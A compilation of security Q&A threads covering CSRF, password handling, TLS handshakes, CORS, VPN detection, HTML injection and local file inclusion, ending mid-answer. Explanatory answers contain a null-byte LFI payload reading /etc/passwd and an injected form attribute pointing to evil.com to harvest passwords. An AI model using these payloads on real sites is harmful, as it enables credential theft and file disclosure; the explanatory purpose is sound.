How can CSRF POST happen? I realise this is a newbie question but when it comes to this im clearly that.

On a browser, assuming one received a cookie from site A. Then a different  site B makes a call to site A through it's javascript (lets leave redirects/clicks aside for now).

Does that call also carry the cookies stored in the browser for site A or is it that cookies are only sent through the appropriate domain context?

Im trying to better understand CSRF and evaluate if what im describing is a real scenario. For redirects such as facebook.com/DELETE_EVERYTHING where GET requests aren't idempotent I understand not much can be done. But I'm trying to see what other cases CSRF covers and how a POST can happen through CSRF.

If what I'm describing is valid then I understand how a CSRF token might help but in that case, why is this allowed in the first place?

If not, how can a CSRF POST happen?

In general, a browser sends all the cookies it has for site A whenever it makes a request to site A.

It doesn't usually matter where the request originated. There are two cases where it does, though:

JavaScript-initiated requests (XMLHttpRequest or fetch) will send cookies by default for same-origin requests, but not by default for cross-origin requests. You can specify that you want them sent for cross-origin, though.
The new samesite flag on cookies will restrict situations where they are sent via cross-origin requests. However, not all browsers support it yet, there are cases where it will break things, and unless in "strict" mode it will still send cookies on top-level navigation (such as when a link is clicked or window.location.href is set), which could exploit sites vulnerable to GET-based CSRF.

It also can matter whether you're sending the request over HTTP or HTTPS - cookies with the Secure flag will only go over HTTPS - but in general anything on a secure site should require HTTPS anyhow so that's where the attacker would direct their CSRF attack.

In other words:

  On a browser, assuming one received a cookie from site A. Then a different site B makes a call to site A through it's javascript ( lets leave redirects/clicks aside for now ).

  Does that call also carry the cookies stored in the browser for site A or is it that cookies are only sent through the appropriate domain context?

Yes, every call to request A will have the cookies for site A, regardless of where the request is coming from (aside from the caveats above).

As for POST requests, there's a few ways for that to happen. I already mentioned CORS (cross-origin) requests using XHR or Fetch APIs, where you need to specify "yes, with the credentials" but if you do that, cookies will be sent (assuming you use a "normal" content type and verb, and no custom headers; otherwise it'll trigger a CORS pre-flight checking whether to send the real request). You can also just have an HTML form - which could be entirely invisible, embedded in an iframe so it doesn't even navigate the top-level page when it gets submitted - that is submitted automatically by JavaScript. Forms can specify arbitrary destinations and actions, so it is entirely possible to send a cross-origin POST with one, and it will include cookies (subject only the the restrictions above around stuff like samesite or secure).


How safe are local variables? I am writing a kind of dinky program in c which requires the user to enter a username and password. I know it's not really necessary, but I kind of like thinking about the security side of things. I hash the password before saving it to a file, but is it possible for another program to find the inputted password in memory during run-time? Is there any difference if the password is stored in the stack versus the heap? Is there any inherent vulnerability in returning the password from a function un-hashed rather than hashing it as soon as it is inputted?

Sorry if this is a little off topic, just a curious student :)

is it possible for another program to find the inputted password in memory during run-time?

Yes, if that program has permission to look at your program's memory. (On Windows and Linux, that means it has to be running as your user account or an administrator)

Note that if a program is running as you on Windows or Linux, it could theoretically already get the password (such as by making itself look like your program and asking you for the password).

  Is there any difference if the password is stored in the stack versus the heap?

It might be a little bit harder to find on the heap, but it's possible to find either way.

  Is there any inherent vulnerability in returning the password from a function un-hashed rather than hashing it as soon as it is inputted?

Not inherently - but the more steps between the password input and the hashing, the higher the likelihood of you making a mistake and somehow exposing the password accidentally.


How secure is this JavaScript password generator? I wonder how secure is this JavaScript password generator:

var Password = {

  _pattern : /[a-zA-Z0-9_\-\+\.\!\@\#\$\%\^\&\*\(\)\_\+\{\}\:\"\<\>\?\|\[\]\;\'\,\.\/\`\~\']/,

  _getRandomByte : function()
  {

    if(window.crypto && window.crypto.getRandomValues)
    {
      var result = new Uint8Array(1);
      window.crypto.getRandomValues(result);
      return result[0];
    }
    else if(window.msCrypto && window.msCrypto.getRandomValues)
    {
      var result = new Uint8Array(1);
      window.msCrypto.getRandomValues(result);
      return result[0];
    }
    else
    {
      return Math.floor(Math.random() * 256);
    }
  },

  generate : function(length)
  {
    return Array.apply(null, {'length': length})
      .map(function()
      {
        var result;
        while(true)
        {
          result = String.fromCharCode(this._getRandomByte());
          if(this._pattern.test(result))
          {
            return result;
          }
        }
      }, this)
      .join('');
  }

};

Also if someone has suggestion to make it better or more secure, you are welcome.

One more thing, the lenght of genereated password is fixed value="16", perhaps that can be bad idea and wouldn't be better to generate password with random lenght, for ex. betwen 12 - 16, or something else.

Your problem is Math.random(). That is not cryptographically secure. I think it is securely seeded on most implementations, though, so if you are just generating one password you are fine. But if you use this to generate loads of passwords they will become predictable. That is bad. But it is sort of hard to work around in JavaScript - if you don't have a CSPRNG, you don't have a CSPRNG...

There might be other issues as well that I have missed, but that is what stands out to me.

As for password length, there are way fewer passwords that are 1 to 15 characters long than there are passwords that are 16 characters long, so you aren't really missing out on a lot. If you still do want a random length anyway, you need to think about what distribution you draw the length from. Using a uniform distribution (e.g. your _getRandomByte) will give you less entropy and not more, since you are to likely to generate short passwords.


Services disclosing private data to a third country Can I be sure that providers such as google, aws, DO, hetzner, rackspace, etc. won't disclose my private data to a third country like Russia (which resident I am).

I started a dialog with AWS support about this, and they sent me a link here. But it is not quite an answer.

Also, is it right way to choose between companies, or better to choose between countries?

Which country would not give access to Russian government?

What would be the right architecture after choosing country: store in cloud (AWS WorkDocs, gdrive), or use VPS (DO, hetzner)

According to this post - will all big companies will act the same? How about amazon, rackspace, DO, hetzner, etc.?

P.S.
No one can tell me certainly, that if you do this, there would be a very big chance, that your pirate data would be safe. In pirate data I mean documents, that illegal in my country, but there is nothing about crime against humanity (not a porno, not an intellectual property or sth). So I want to operate this data, and be safe from bind me with that data and be captured by police after all.

What private data? It is likely that your government already has most data about you. They may not have data you have created privately. If you put private data on a public cloud, you can never be totally certain what will happen to it.

You need a vendor with a strong privacy track-record that operates in a territory with strong privacy laws.

Even then, it may well be easier for a nation state to hack through to the data than to tip their hand to a foreign commercial organisation.

I'd start then by looking for a vendor who has a lot to lose, has very strong and open standards/policies/processes and who takes a strong, consistent stand against government bullying & underhanded behaviour.

Are they all the same? Certainly not. Google, for example, makes most of its revenue from being able to process other people's data. Amazon and Microsoft don't have that credibility issue. Both have strong policies and processes for privacy. Both allow you to keep data in a specific region. Both take steps to restrict access to customer data from operations staff. Microsoft at least has additional services to further protect data at rest (customer private keys for example). Microsoft in particular has a lot to lose since much of their Cloud offerings are targeted at government data, that would all be lost if they messed up on data privacy, at least in the EU.

The smaller the vendor, the less likely they are to have the resources to stand up to state interventions.

Just realise though that if a major government wants your data badly enough, they are going to get it one way or another.


What is the safest way to identify a device without human action please? I want to allow users of our website to restrict access to their account from devices they have explicitly authorized. This will be checked at the connection and each time the IP address changes.

To do this, I need to identify the device and I must avoid another device being able to pass for an authorized device.

I could, for example, save a UUID in a secure cookie (flags: httpOnly + secure) that the server (in HTTPS + HSTS) could check. However, via an MITM proxy, the attacker could potentially discover the token and use it as many times as he wants on several machines and even when the user is no longer connected to the infected proxy.

I think it is possible to reduce the risks by coupling this technique with a web push API call. This requires of course a browser that supports it (~ 80%) and the user agrees to receive our notifications. The idea would be that the server receiving the UUID of the cookie, sends a push notification containing a random token to the device, then the device forward the token to the server to prove that it is indeed the authorized device .

This method does not solve MITM proxy attacks, but once the person is no longer behind this infected network, the attacker can no longer spoof the device identify.

Push notifications are encrypted, but I can also encrypt[EDIT: obfuscate] the sent random token by a simple XOR operation with the UUID value of the cookie as the key.

Do you have more safest way to identify a device without requiring human action please?

[EDIT:
I precise, the subscription to push notification is done only one time, and could be requested to be done from a secure network, like at home, to prevent MITM proxy while the subscription.]

I'm not sure if your suggestion of push notification is really going to help.  For that to work the client still has to "subscribe" itself to the push notifications.  What would stop a MITM from intercepting the end-client's request to subscribe to push notifications and subscribe itself instead?

The internet is inherently built around the concept of "anonymous" clients initializing conversations with servers.  It is possible for a client to uniquely identify a server via SSL certificate validation, but nothing about the internet is really designed to do the opposite.

What it really boils down to is that if doing what you wanted to do was easy and fool-proof, then every server everywhere would do it and stolen credentials would be a thing of the past.  That obviously isn't the case though.


Is it okay that a payment app is sending my payment details via a GET request? I was trying to use a state-owned mobile payment app to conduct some transaction on the internet and, thanks to an error message, I found out that my card number and the amount I'm paying were sent via a GET request.
Other data on the request: the name of the service and an HMAC. And, yes, it's on HTTPS but I don't believe this really helps if the data is in URL.
Is this secure? Shouldn't such details be sent over a POST or a PUT request? I'm not a security expert so maybe I'm missing something here.

HTTPS protects the entire web request, which includes the url path and parameters. So the data being in the url doesn't make it any less securely transmitted. Only the domain name is exposed via SNI.
GET requests are avoided when transmitting sensitive information in web apps because the url containing sensitive information may be exposed in the user's browsing history (which may have misled you into thinking urls themselves were insecure). However, this is obviously a concern with web apps only. Since this scenario is a mobile app, you are fine from a security point of view.


Does Linux support the NX-bit on ARM processors? Does Linux (kernel and applications) support the NX-bit on ARM processors? If so, how can I check if an ARM-binary is compiled with this protection enabled?

The NX-bit implementation its supported since ARMv6, and yes, linux also has support for it. (NX implementations needs both OS support and CPU support)

Now if you want to check the nx bit, you can do it like with any other platform, there's a good old script called checksec.sh from the trapkit team, here you can see the implementation:

  # check for NX support
  if readelf -W -l $1 2>/dev/null | grep 'GNU_STACK' | grep -q 'RWE'; then
    echo -n -e '\033[31mNX disabled\033[m   '
  else
    echo -n -e '\033[32mNX enabled \033[m   '
  fi

Full script: http://www.trapkit.de/tools/checksec.html

If you want to see a implementation in python, Peda (Python Exploit Development Assistance for GDB) also has one (they ported the trapkit script)

https://github.com/longld/peda/blob/master/peda.py#L2543


Is "sign in with Facebook", "sign in with Google", etc. bad for security? Is "sign in with Facebook", "sign in with Google", etc. bad for security? A hacker only needs to compromise your Facebook/Google/Yahoo/etc. account, and they'll have access to all of your other accounts that are connected to your Google or Facebook account.

Most of the websites that potentially use "Sign in with Google" type features, use your email address as a fallback to reset forgotten passwords.  For all these websites, your email address (where ever that is; be it gmail or some other provider) is a single point of failure.

In fact, if you use a Google account with say 2-factor authentication and strong passwords it's quite good for security, as now effectively everything uses 2-factor auth with a strong password.

It also makes is a better user experience as you only need to remember one strong password, versus remember unique strong passwords for every web service you sign up for.  (You should not reuse passwords as you are not sure if some web services are malicious/incompetent and record your passwords/password attempts in cleartext or with weak hashes).

(The major exception to the email based password reset in my experience is banks, where you typically have to talk to someone in person/over the phone and answer several security questions/provide documentation if you forgot your password.  I do think it would be a mistake for banks to let you login through Facebook/Google, though I have never seen it in practice.)


Difference between password expiration and account expiration If a password expires, the user can't access the account. If the account expires, the user can't access the account...

So, what's the difference? Just that in the case of an expired account, I'd need to enable it back?

I think password expiration and account expiration are two differents means to achieve the same goal, that is to prevent someone to log in. However, they are used in different context and for different needs.

Password expiration is used when you want to force someone to renew their password at a specific interval (maybe 90 days) but you want the account to stay enabled. The user will be prompted to change his password and the next logon.

Account expiration should be used in another context. For example if you hire a contractor for 6 months and you want the account to be disabled at the end of the contract, you can set an account expiration at a fixed date and you won't have to be concerned about removing access to this contractor when the contract is finished since the account will be automatically disabled.


How can you hide the usage of an external VPN? Let's assume we need a VPN to access some site, e.g. for bypassing geo-blocks. But those site doesn't want VPN users. A good example is Netflix. However, I don't want to specify this just on Netflix, since there are other services blocking VPNs as well.

So I thought about how those target site could detect if I'm using a VPN or not. One indicator is a high amount of connections from a single IP. This is relatively easily fixable with multiple external IPs on the VPN server. But those IPs themselves could leak this information.

1. Whois data

PrivateVPN  is an example:

# whois $(dig +short de-nur.pvdata.host) | grep -i vpn
% Abuse contact for '185.89.36.0 - 185.89.36.127' is 'support@privatevpn.com'
netname:        PRIVATEVPN

VPN in the whois or even the name of common VPN providers are clearly and easily to match.

2. IP databases

I found ipinfo.io where we can enter an IP and even get information about the device type. For example, another VPN server 162.245.206.242 gave me

company: Object
name: "i3D.net B.V"
domain: "i3d.net"
type: "hosting"

where a query with my real IP (normal private customer home internet connection) shows type: "isp" with the name of my ISP. So I assume that simply querying those APIs and ban all users with type: hosting would match most VPN servers.

How could we hide it?

I don't see a practical way to hide it. Services like ipinfo earn money by collecting such information and keeping them up to date.

The only way would be a VPN service that uses servers hosted by private ISPs. Is there any other method of using a VPN service without letting the target site knowing it?

Based on the example of Netflix I think you falsely assume that it is all about explicit detection of VPN. Netflix for example seems to check that the geographic location matches the information in the account. It also seems to check if the traffic comes from some web hosting sites, since the expectation for a customer would be some DSL line or maybe public hotspot instead.

Thus how to bypass such detection depends a lot of how the detection is done. A common way to bypass these checks is to come from a "residential" IP address, i.e. an IP address associated with customer DSL, cable, fiber or mobile connections. There is a whole industry to offer "residential proxy networks" to whoever want to hide its activity behind innocent citizens and these service are often used by companies doing web scraping or similar. The residential proxy networks work by (ab)using "free" (with a catch) VPN like Hola VPN or which even employ network of hacked machines (botnet) of private citizens - see Resident Evil: Understanding Residential IP Proxy as a Dark Service.

Of course, you might actually find the VPN offered by Hola and others actually useful for your purpose since it also allows you to let your own traffic hide behind some residential IP address in another country. Just be aware that others will do the same with your own IP address and any problems coming from this (i.e. accessing illegal content) are then your own.


Can Client send Application data in TLS 1.2 or earlier before getting server Finished message? I have read Ivan Ristic, Bulletproof SSL and TLS. There its been said after 2 RTT, client start sending application data like for e.g. GET request.

But I have seen when analysing packets through wireshark that in some sites clients starts sending application right along with ClientFinished message i.e. after 1 RTT, while in some cases it doesn't and starts sending application data after 2 RTT i.e. after receiving ServerFinished message.

I think that its not required to wait till ServerFinished for sending application data since client already has key, so it can start sending application data.

In what cases does client sends application data before ServerFinished message and in what cases after ServerFinished message?

If 1 RTT was already there in TLS 1.2, then why there is so fuzz about 1 RTT in TLS 1.3? This is not my main question by the way, answer it if you like.

Copied from RFC

  Client                                               Server

  ClientHello                  -------->
                                                  ServerHello
                                                 Certificate*
                                           ServerKeyExchange*
                                          CertificateRequest*
                               <--------      ServerHelloDone
  Certificate*
  ClientKeyExchange
  CertificateVerify*
  [ChangeCipherSpec]
  Finished                     -------->
                                           [ChangeCipherSpec]
                               <--------             Finished
  Application Data             <------->     Application Data

         Figure 1.  Message flow for a full handshake

While I don't know what exactly you've seen the TLS 1.2 explicitly states that  application data must only send after the handshake is complete. This means that both sides has got and verified the Finished message from the other side. This is stated in various parts of the RFC 5246, like

  7.4.9.  Finished...
    Once a side has sent its Finished message and received and validated the
        Finished message from its peer, it may begin to send and receive
        application data over the connection.

Within a full handshake the Finished message is first send by the client and then by the server. This means that the client has to wait for the server to receive and verify the Finished message from the client and then send its own Finished message back. And only after the client received and verified this Finished message from the server it can send application data.

But, within a successful session resume the Finished message is first send by the server and then by the client. And in this case application data from the client can of course follow directly the Finished message from the client. From RFC 5246 page 37:

  Client                                                Server

  ClientHello                   -------->
                                                   ServerHello
                                            [ChangeCipherSpec]
                                <--------             Finished
  [ChangeCipherSpec]
  Finished                      -------->
  Application Data              <------->     Application Data

      Figure 2.  Message flow for an abbreviated handshake

  ... that in some sites clients starts sending application right along with ClientFinished message i.e. after 1 RTT, while in some cases it doesn't and starts sending application data after 2 RTT

One possibility is that you've only noticed that application data from the client directly followed the Finished message but that you did not realize that this was because a session resume happened and thus the Finished from the server has already been received and verified by the client.

But, after you've edited the question and included an image it is obvious that this is not the case and a full handshake was done with early sending of application data. This is called TLS False Start and is defined in RFC 7918. According to this RFC TLS False Start can be done if the client has prior knowledge that the server is compatible to False Start and if strong ciphers white listed for use with False Start are used. For a short introduction into TLS False Start see High Performance
Browser Networking.

  If 1 RTT was already there in TLS 1.2, then why there is so fuzz about 1 RTT in TLS 1.3?

TLS 1.3 changed the protocol a lot. The result of this was 1-RTT instead of 2-RTT for the full handshake and optionally 0-RTT instead of 1-RTT on subsequent connections (i.e. what was session resume in TLS 1.2).


What's the reason of both "Allow-Origin: *" and "Allow-Credentials: true" headers? MDN says that attempting to use Access-control-allow-origin: * with credentials should result in an error.

Taking this into account, why so many major companies' APIs  (spotify, twilio, among many others) return both Access-control-allow-origin: * and Access-control-allow-credentials: true response headers?

Access-control-allow-origin: * and Access-control-allow-credentials:
  true

First and foremost let me tell you what those headers are.The Access-control-allow-origin is a response header sent by a website which tells the browser to relax the same origin policy for the website listed in it.The wildcard * means any origin(domain,subdomain) can send request and receive response.The access-control-allow-credentials is a response header which instructs the browser to send in cookies along with the request.

  What would happen if Access-control-allow-origin: * and
  Access-control-allow-credentials: true is set?

An attacker could take you to a website and then that website could issue a request to another website with the configuration and read the response.This would pretty much wreak havoc on the internet.

  Why website are allowed Access-control-allow-origin: * and
  Access-control-allow-credentials: true?

Browsers simply ignores it if Access-control-allow-origin is set to wildcard then the browser wont allow submitting of credentials(cookies) with the request which would render any attack useless since you can't target anyone without their cookies.

  Then why do websites send this combination of response headers?

First and foremost for non credentials request, Secondly this could be due to the presence of changing of ACAO with the origin header. If no origin is specified then the response ACAO contains the wildcard. But I have nothing to back up this part of the answer


Mystery URL in iftop So this may be more appropriate for serverfault, but it seems like it belongs here.

I was watching iftop on a server I control that can send data to arbitrary sources but can theoretically only receive traffic from other servers behind the reverse proxy. I noticed an odd URL that disappeared before I could tell if it was inbound or outbound, but it was definitely not one of my servers.

Is there a way to tell what program was communicating with a particular URL?

The good news is that it's possible it was logged somewhere on the system. I'd recommend searching all system logs you can during that time period for domain names, while excluding your domain from the search with grep or another similar tool. Here is a suggested starting point for a domain name regex if you're not familiar with them off-hand. I know that I'm not and always have to reference them: https://stackoverflow.com/questions/21172095/grep-valid-domain-regex .

Now for the bad news. If the system is compromised, the local logs could be tampered with or destroyed by an attacker. Also, there is a good chance that there is no record whatsoever on the system and never was. I'd suggest ensuring you have centralized logging if you don't already. Even if you do, I'd suggest reviewing your configuration to ensure you're capturing all the logs you expect. Also, I highly recommend you configure your services to connect through proxies or other mechanisms which log their connections.


How can I capture files malware creates and then deletes? Malware on Windows often creates and deletes files. How can I capture the files it creates if it deletes them too quickly to copy?

The Sysinternals Suite contains a variety of tools, many of which can be used for dynamic malware analysis.

Process Explorer shows useful information about the running processes on a system

ProcMon monitors process activity showing information such as:

Registry modification
Disk access
Process creation

and more.

In order to capture file before they are deleted: I would hook "NtDeleteFile" or the specific API the process is calling.

Filtering the calls to that function would prevent the process from deleting certain files.

This could be implemented in a Dynamic Link Library and injected into the target process.


Can we consider injection of HTML tags without event attributes as XSS? I'm wondering if we can consider the injection of HTML tags like a, image, img, video, audio, marquee or iframe without an event attribute as XSS? Since no JavaScript is involved and therefor no JavaScript code is included and executed. But an (external) resource is loaded or in case of the marquee tag an animation is triggered (often screwing up the template). As well as for the a-tag the risk of being able to include clickable URL's.

So is a pure HTML injection (even if it breaks something like an input field) considered as valid XSS, and what would be the motivation to explain that it is valid XSS?

A few examples:

"><marquee>123
"><img src=http://example.com/a.jpg
123

No, I would not call that cross site scripting, since there is no actual scripting involved. But that does not mean it is not a security risk! The correct term for the vulnerability would be "HTML injection", and as you note in your question it can be a dangerous thing.

Here's another example, just to show how HTML injection can indeed be used to cause real damage. Let's say you have this PHP code:

echo "<form method='post' class='" + $untrusted + "' action='login.php'>";

And lets say that $untrusted is set to ' action='http://evil.com. No need for XSS when you can harvest passwords using pure old HTML.


Security of php code on webserver - obfuscate? Can the php source of a web app be considered safe on the server, or is it worthwhile obfuscating the code to reduce the chance of successful theft?

I think my question boils down to 'Is there a chance someone could hack a web server and steal all source code?'

By principle, PHP runs on the server side, only its HTML output is visible on the client side. This means NO need to obfuscate your PHP code as you do with JavaScript or other client-side scripting languages.

So the security of your PHP application code depends entirely on the security of your server itself.


Giskismet query, how to select specific data? I’m basically trying to get some stats from my war drive kismet database using giskismet but I’m finding it difficult to get specific data.

Things I'm trying to do:

Count how many wireless BSSID’s there are in total

How many are WEP/WAP, using to calculate what present are WEP/WPA

Get the make of the wireless eg netgear and count how many are WEP/WPA

Is this possible to do with giskismet? iv tried “select BSSID from wireless” –o test.xml but I get errors. The same happens if I try anything other than “select*from wireless”. But this outputs everything to one massive xml file which is incredibly hard for me to search through as I don’t know much xml.

Does anyone have any ideas how I could get data from the wireless.dbl, it’s in sqllite I think if that helps.

Analysing kismet XML is the best way to go on this one.  There's a script that I've knocked up which should do most of what you're looking for, but feel free to look through it and modify for your purposes.

I'm planning to put it in a github repo at some point, but it needs cleaned up a bit before that.  That said it should work ok for you at the moment, so here's a link to the code

you'll need to get ruby installed and working, along with the nokogiri and ruport gems.


Log in without password using SSH, knowing authorized_keys? During a pentest, I was able to get the contents of authorized_keys file which has a single client's entry. So, can I generate a private key using the public key from this file, and login to the server using this pair? If yes, how to do that? As this public key in the file is encrypted using a passphrase, I will have to use John the ripper (JTR) to extract the pass first. Is my thought flow correct? Could you please let me know how to use JTR for this?

You cannot generate a private key from a public key. That's the whole point of public-key cryptography.

The public key is not encrypted. Even if you don't understand what the numbers do, they're in a form that's ready to use. No password is involved. (Private keys are often encrypted with a password, but you don't have a private key.)

Having the contents of authorized_keys will not help you log into the machine. The only consequence it might have is on the user's privacy, since it tells you something about who is allowed to log into this acccount.


Why isn't a client-side password complexity check considered secure? I have a web application and I have implemented a check on the browser to ensure that a user sets only strong passwords.
A company that we have called to check security vulnerabilities pointed out that this is not enough because using some hacking a user can ignore the check and set a weak password.

I do not understand how this can be a security vulnerability.
Why would someone hack the security check just to set a weak password?
Someone expert enough to hack the web application will understand the importance of using a strong password.

The only reason I can think is that someone, very very lazy, can decide to hack the check just to have an easier password to remember. I do not know how likely is this case.

I know that you cannot enforce a strong password on the client side and that if you are required to have a strong password in any circumstance, you have to do it on the server side.

My point is: given that, to have an acceptable user experience, we have to do the check on the client side, there has to be a good reason, a real use case that creates a possible vulnerability to justify a duplication of the check on the server side.

Reading the answers, so far, it seems that the only use case that can create a vulnerability is when the javascript does not work. This does not seem a problem for me because the submit button is disabled by default.

You’re assuming that the check is bypassed on purpose. It could be the case that someone is using a browser which fails to handle the script properly or with scripts disabled, possibly even without knowing this.

You seem to have a reason for people to use strong passwords. If you do so, why accept that people can bypass it?

Client-side validation can be helpful from a usability perspective, but if you decide that a minimum password strength is required, you should enforce it by implementing it server-side.


Gold Standard for password hashing I've developing a web application that will be dealing with highly sensitive information and I want to ensure the hashing of passwords is gold standard.  Ideally I'd go for per-user salted SHA512 using PBKDF2 to carry out multiple iterations of the algorithm but as I'm developing in asp.net, there's no built-in .net SHA512 version for PBKDF2 - I'm limited to SHA1 (i.e. Rfc2898DeriveBytes).

My question is really, bearing in mind I'm developing in .net and am securing sensitive information, what's the best way to hash user passwords?

Should I stick with .net's SHA1 PBKDF2 implementation?
Should I use a custom implementation of PBKDF2 to incorporate SHA512?
Should I be preferring bcrypt or scrypt despite the fact that they're not widely standards accredited (e.g. NIST)?

Bcrypt is marginally "better" than PBKDF2. However, PBKDF2 is already quite fine: used properly, it ceases to be the weakest point in your system.

Remember that the point of the iterations in PBKDF2 is to make the password hashing slow for the attacker. Unfortunately, it makes it slow for you, too. You thus need to avoid making it unduly slow for you. In particular, consider SHA-512: SHA-512 uses a lot of 64-bit arithmetic operations. The attacker can buy PC which are good at 64-bit operations (recent enough x86 CPU have a 64-bit mode, and older processors could use SSE2 opcodes). Your server, on the other hand, could be a bit more limited: if your server runs in 32-bit mode, then SHA-512 will be quite slow for you (because you use .NET and in .NET you do not fiddle with SSE2 opcodes), giving the attacker a computing advantage (by a factor of about 6).

Using the system-provided PBKDF2 implementation maximizes the chances that you will not have such an artificial slowdown (in particular it could use a native-code implementation of SHA-1). The known shortcomings of SHA-1 do not impact its security when used in PBKDF2.

If you do anything "by yourself" then you have to understand these performance issues with all their fine details; and, if anything goes wrong, you will probably get the blame.


Why EMV cards cannot be cloned? It's frequently stated that EMV cards cannot be cloned. I'd like to know, specially with commodity smart card readers/ writers, why is this true? What specific data cannot be read using commodity hardware, and what type of hardware would be required to do so?

To use an analogy, expanding on what people have said about it being a chip:

An older style magstripe card was simply a string of characters encoded onto the card, it could be read, or written, and that was it.  It's like a page of a book, you can read it, but if you don't understand, you can't ask it questions.

An EMV chip is a small microprocessor. It runs a specific application. You can't just read what it knows, but you can 'ask' it 'questions' by issuing commands from the EMV set, and see what it returns.  Unlike Magstripe, it's interactive, and is capable of both answering and more importantly, refusing to answer queries.

All of this is a little simplified.  Encryption obviously plays a large role in EMV, and it's much complex than just some little microbug that you can interview, like I make it sound, but the essence is there.

Like @Lucas Kauffman has mentioned, EMV isn't unclonable, but it is significantly more difficult, at least if you start from first principles.  As with many security issues, these complex differences will start to mean less and less now that vulnerabilities have been found, because it will be possible to buy cloners without needing to know how they actually work.


Syverson's paper (Users Get Routed), What do they mean by "common locations"? I am preparing a survey on Tor and its security. While searching for resources, I have come across with the paper Users Get Routed:Traffic Correlation on Tor by Realistic Adversaries. I comprehend the idea and the conclusion of the paper, but I am a bit confused with the phrase "common locations". Quoting the paper:

  Our analysis shows that 80% of all types of users may be deanonymized
  by a relatively moderate Tor-relay adversary within six months. Our
  results also show that against a single AS adversary roughly 100% of
  users in some common locations are deanonymized within three months
  (95% in three months for a single IXP).

What do they mean by "common locations"?

The ability to deanonymize using this method involves correlation among other traffic by your IP.  The more traffic available to correlate, the better chances of deanonymizing.  I believe the use of "common locations" denotes an AS containing many other popular sites, maybe to include gaming servers, StackExchange web servers, CDNs, etc.  Perhaps an "uncommon location" in this context would be an ISP for a more rural area of some remote nation where the target would not be sending much, if any, traffic to.

Edit:  Source for my explanation of how it is correlated, under the "Related Works" section:

  Onion routing is vulnerable to an adversary who can monitor a user’s
  traffic as it enters and leaves the anonymity network; correlating
  that traffic using traffic analysis links the observed sender and
  receiver of the communication.


Need explanation on local file inclusion? So few days ago a friend fixed an lfi on his site , and he sent me the url used , it was base 64 encoded url but not usual ../../../etc/passwd ,

It is : Li4vLi4vZXRjL3Bhc3N3ZAAucG5n

Now decoded on base64decode.org I get this :

../../etc/passwd�.png

What is that question mark , I thought it was null byte , but it seems to be some unicode thing. I can't figure it out. Can anyone explain me what does it stand for , can't seem to get same base64 string when I encode it again. Thanks

It is a null byte character.

It is used if the code always appends an extension to the included file. For example, if the code is

<?php
include($_GET['lang'].".php");
?>

However, you, as the attacker wish to read ../../etc/passwd using the LFI. If you use the null byte character you can append this to the request URL as %00:

www.example.com/index.php?lang=../../etc/passwd%00

This will make the PHP processor stop at the null byte and include the file ../../etc/passwd rather than the path ../../etc/passwd.php which won't work due to the extension. So in summary it gives the attacker a way to truncate the path at a given point and remove any undesired extension.

Regarding the base64 encoding - this could be to prevent the null byte from being "lost" in transit. If you use any mechanism to transfer the URL elsewhere, the software used might terminate the string at the null byte and this would be removed from the URL. An example is if you paste a URL into Firefox, often the string is terminated at the null byte and the page request when made does not include the null byte character.


Can my school see exactly what I’m doing? My school requires us to install digicert global root CA and digicert sha2 secure server to access to the secure and guest WiFi onto our personal devices. Does this mean that the school can see the contents of personal emails (not on the given .edu account) as well as our exact history?

Once you click on the certificates, it lists:

algorithm (rsa encryption)
parameters (none)
public key size (2048)
public key data (a lot of numbers and letters), and
fingerprints

You are not giving enough context.  If they are just requiring that you have the default digicert global root certificate (that is pre-installed on most operating systems and web browsers), that isn't a problem.

That said, some network environments (typically workplaces with strict network policy) monitor network usage by using a man-in-the-middle attack on all HTTPS connections.  You can test this by seeing if the HTTPS certificates fingerprints match well known ones.

E.g., visit https://www.grc.com/fingerprints.htm on your phone and then visit a domain, and check that the SHA1 fingerprints match.  (In most browsers you can find the certificate information by clicking on the lock part of the URL and going through the menu to get certificate information).

Please note they can always observe which IP connections you are sending data with, all HTTP (not HTTPS) you are visiting, the server name (www.example.com) of HTTPS sites you visit (the server name identification standard allows this to be sent in plaintext).

For example, typical ubuntu installations come with DigiCert_Global_Root_CA.pem being trusted:

$ cat /etc/ssl/certs/DigiCert_Global_Root_CA.pem
-----BEGIN CERTIFICATE-----
MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD
QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT
MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB
CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97
nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt
43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P
T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4
gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO
BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR
TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw
DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr
hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg
06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF
PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls
YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
-----END CERTIFICATE-----

which contains the information:

